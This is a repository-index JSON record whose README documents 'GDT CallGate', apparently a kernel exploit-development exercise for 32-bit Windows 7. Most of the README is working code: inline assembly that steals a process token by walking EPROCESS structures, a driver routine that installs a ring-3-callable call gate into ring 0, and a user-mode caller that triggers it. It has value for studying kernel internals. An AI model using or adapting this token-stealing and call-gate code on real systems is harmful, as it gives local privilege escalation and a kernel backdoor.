{"id":19060255,"url":"https://github.com/4l3x777/gdt_callgate","last_synced_at":"2026-05-12T22:30:20.239Z","repository":{"id":214087740,"uuid":"735658062","full_name":"4l3x777/gdt_callgate","owner":"4l3x777","description":"GDT CallGate","archived":false,"fork":false,"pushed_at":"2023-12-25T18:11:54.000Z","size":1946,"stargazers_count":0,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-02T12:26:09.405Z","etag":null,"topics":["callgates","exploit","gdt","kernel-driver","windows"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/4l3x777.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2023-12-25T17:58:19.000Z","updated_at":"2023-12-25T18:07:24.000Z","dependencies_parsed_at":"2023-12-25T20:23:36.230Z","dependency_job_id":"87045e95-40df-4eb2-b5e2-f5b14d281dcc","html_url":"https://github.com/4l3x777/gdt_callgate","commit_stats":null,"previous_names":["4l3x777/gdt_callgate"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4l3x777%2Fgdt_callgate","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4l3x777%2Fgdt_callgate/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4l3x777%2Fgdt_callgate/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/4l3x777%2Fgdt_callgate/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/4l3x777","download_url":"https://codeload.github.com/4l3x777/gdt_callgate/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":240114326,"owners_count":19749837,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["callgates","exploit","gdt","kernel-driver","windows"],"created_at":"2024-11-09T00:14:09.713Z","updated_at":"2026-05-12T22:30:20.198Z","avatar_url":"https://github.com/4l3x777.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"# GDT CallGate. Kernel exploit development\n\n## Задача - steal token from source process to target process\n\n+ подготовить exploit и функцию для ring-0 callgate вызова (kernel-mode)\n\n```C++\nDWORD steal_token(DWORD TARGET_PID, DWORD SOURCE_PID)\n{\n char res = 0;\n#if defined(DEBUG)\n DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, \"CallGate - TARGET_PID: %d | SOURCE_PID: %d\\n\", TARGET_PID, SOURCE_PID);\n#endif\n // TOKEN STEALER X86 ASM\n __asm\n {\n Start:\n  pushad\n   mov eax, fs : [KTHREAD_OFFSET]\n   mov eax, [eax + EPROCESS_OFFSET]\n   mov ecx, eax                            // Copy current _EPROCESS structure\n   mov ebx, [eax + TOKEN_OFFSET]           // Copy current nt!_EPROCESS.Token\n   mov edx, SOURCE_PID                     // Process PID = SOURCE_PID\n   SearchSystemPID :\n  mov eax, [eax + FLINK_OFFSET]    // Get nt!_EPROCESS.ActiveProcessLinks.Flink\n   sub eax, FLINK_OFFSET\n   cmp[eax + PID_OFFSET], edx              // Get nt!_EPROCESS.UniqueProcessId\n   jne SearchSystemPID\n   mov edx, [eax + TOKEN_OFFSET]           // Get SYSTEM process nt!_EPROCESS.Token\n   mov esi, eax\n   SearchProcessPID :\n  mov ecx, eax\n   mov edi, [eax + PID_OFFSET]\n   mov eax, [eax + FLINK_OFFSET]   //ebx - Next _EPROCESS\n   sub eax, FLINK_OFFSET\n   cmp eax, esi\n   jz Stop\n   cmp edi, [TARGET_PID]\n   jz SetToken\n   jmp SearchProcessPID\n   SetToken :\n  mov[ecx + TOKEN_OFFSET], edx\n   mov[res], 1\n   Stop :\n   popad\n }\n return res;\n}\n\n// INPUT STACK PARAMS:\n//  SOURCE_PID  [esp+12]\n// TARGET_PID  [esp+8]\n// CS SELECTOR  [esp+4]\n// RETADDR   [esp]\n__declspec(naked) ULONG_PTR call_gate_proc() {\n __asm\n {\n  // prolog\n  push ebp\n  mov ebp, esp\n\n  push fs     // Save the value of FS\n  mov ax, 0x30   // Set FS to kernel mode value\n  mov fs, ax\n\n  mov eax, [ebp + 16]  // SOURCE_PID\n  push eax\n  mov eax, [ebp + 12]  // TARGET_PID\n  push eax \n  call steal_token\n\n  pop fs     // Restore the value of FS\n\n  // epilog\n  mov esp, ebp\n  pop ebp\n  retf 8\n }\n}\n```\n\n+ сформировать callgate descriptor с прямым вызовом exploit'а с параметрами из ring-0 в ring-3 (kernel-mode)\n\n```C++\nCALL_GATE_DESCRIPTOR build_call_gate_descriptor(PVOID entryPoint) {\n ULONG address = (ULONG)entryPoint;\n CALL_GATE_DESCRIPTOR callGateDescr = { 0 };\n\n callGateDescr.offset_00_15 = 0x0000ffff \u0026 address;    //Offset(specifies the procedure’s entry - point within its code - segment)\n address = address \u003e\u003e 16;\n callGateDescr.offset_16_31 = 0x0000ffff \u0026 address;    //Offset (specifies the procedure’s entry-point within its code-segment)\n callGateDescr.selector = 0x8;         //Code-selector (specifies memory-segment containing procedure code)\n callGateDescr.argCount = 0x2;         //Parameter count (specifies how many parameter-values will be copied)        \n callGateDescr.type = 0xC;          //Gate - Type('0x4' means a 16 - bit call - gate, '0xC' means a 32 - bit call - gate)\n callGateDescr.dpl = 0x3;          //DPL = Descriptor Privilege Level (ring-0, ring-1, ring-2, ring-3) \n callGateDescr.pFlag = 0x1;          //P = present (1 = yes, 0 = no)\n\n //         P|DLP|S  type  zeros  params\n //callGateDescr(flags only) =    1110   1100  0000   0001b   \u003c=\u003e 0xec02\n\n return callGateDescr;\n}\n```\n\n+ сформировать селектор по индексу callgate descriptor'а в GDT (kernel-mode)\n\n```C++\n  // create selector\n  /*\n   Selectors\n   In real mode, the segment registers (CS, DS, ES, SS, FS, GS) specify a real mode segment. And you can put anything to them, no matter where it points. And you can read and write and execute from that segment. In protected mode, these registers are loaded with selectors.\n   Selector\n   Bit 0 - 1 : RPL\n   Requested Protection Level. It must be equal or less privileged than the segments DPL.\n   Bit 2 : TI\n   If this bit is set to 1, the selector selects an entry from the LDT instead of the GDT (see below for LDT).\n   Bits 3 - 15:\n   Zero based index to the table (GDT or LDT).\n  */\n  selector = gdt_index \u003c\u003c 3;\n  selector |= 3;   // set TI = 0, RPL to 3 =\u003e allow access to this selector from ring-3\n```\n\n+ сделать вызов callgate selector'а из ring-3 (user-mode)\n\n```C++\nint main()\n{\n WORD farcall[] = { 0, 0, 0xab };\n BYTE result = 0;\n\n DWORD TARGET_PID, SOURCE_PID;\n\n std::cout \u003c\u003c \"SOURCE_PID (dec): \";\n scanf_s(\"%d\", \u0026SOURCE_PID);\n std::cout \u003c\u003c std::endl \u003c\u003c \"TARGET_PID (dec): \";\n scanf_s(\"%d\", \u0026TARGET_PID);\n std::cout \u003c\u003c std::endl;\n\n __asm\n {\n  push[SOURCE_PID]\n  push[TARGET_PID]\n  call fword ptr[farcall]\n  mov[result], al\n }\n\n if (result) std::cout \u003c\u003c \"Token has been stolen!\" \u003c\u003c std::endl;\n else std::cout \u003c\u003c \"Error!\" \u003c\u003c std::endl;\n}\n```\n\n+ проверить смену token'а\n\n## caller\n\n+ содержит код программы вызова callgate selector'а из ring-3 (user-mode)\n\n## callgate_driver\n\n+ содержит код KMDF драйвера для работы в ring-0 (kernel-mode)\n\n## bin\n\n+ Caller.exe - compiled caller\n+ CallGate.sys - compiled driver\n+ CallGate.cer - test driver's sing public key\n\n## Для проверки корректной работы использовались\n\n+ ```Windows 7 SP1 x86 6.1.7601.24545```\n+ ```Dbgview```\n+ ```procexp```\n+ ```OSR driver loader```\n\n## Пример работы\n\n![alt text](/img/callgate.gif)\n\n## Ссылки\n\n+ \u003chttps://rayanfam.com/topics/call-gates-ring-transitioning-in-ia-32-mode/\u003e\n+ \u003chttps://www.codeproject.com/Articles/45788/The-Real-Protected-Long-mode-assembly-tutorial-for\u003e\n+ \u003chttps://github.com/SinaKarvandi/IA32-CALL-GATES/tree/master\u003e\n+ \u003chttps://github.com/therealdreg/cgaty\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F4l3x777%2Fgdt_callgate","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F4l3x777%2Fgdt_callgate","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F4l3x777%2Fgdt_callgate/lists"}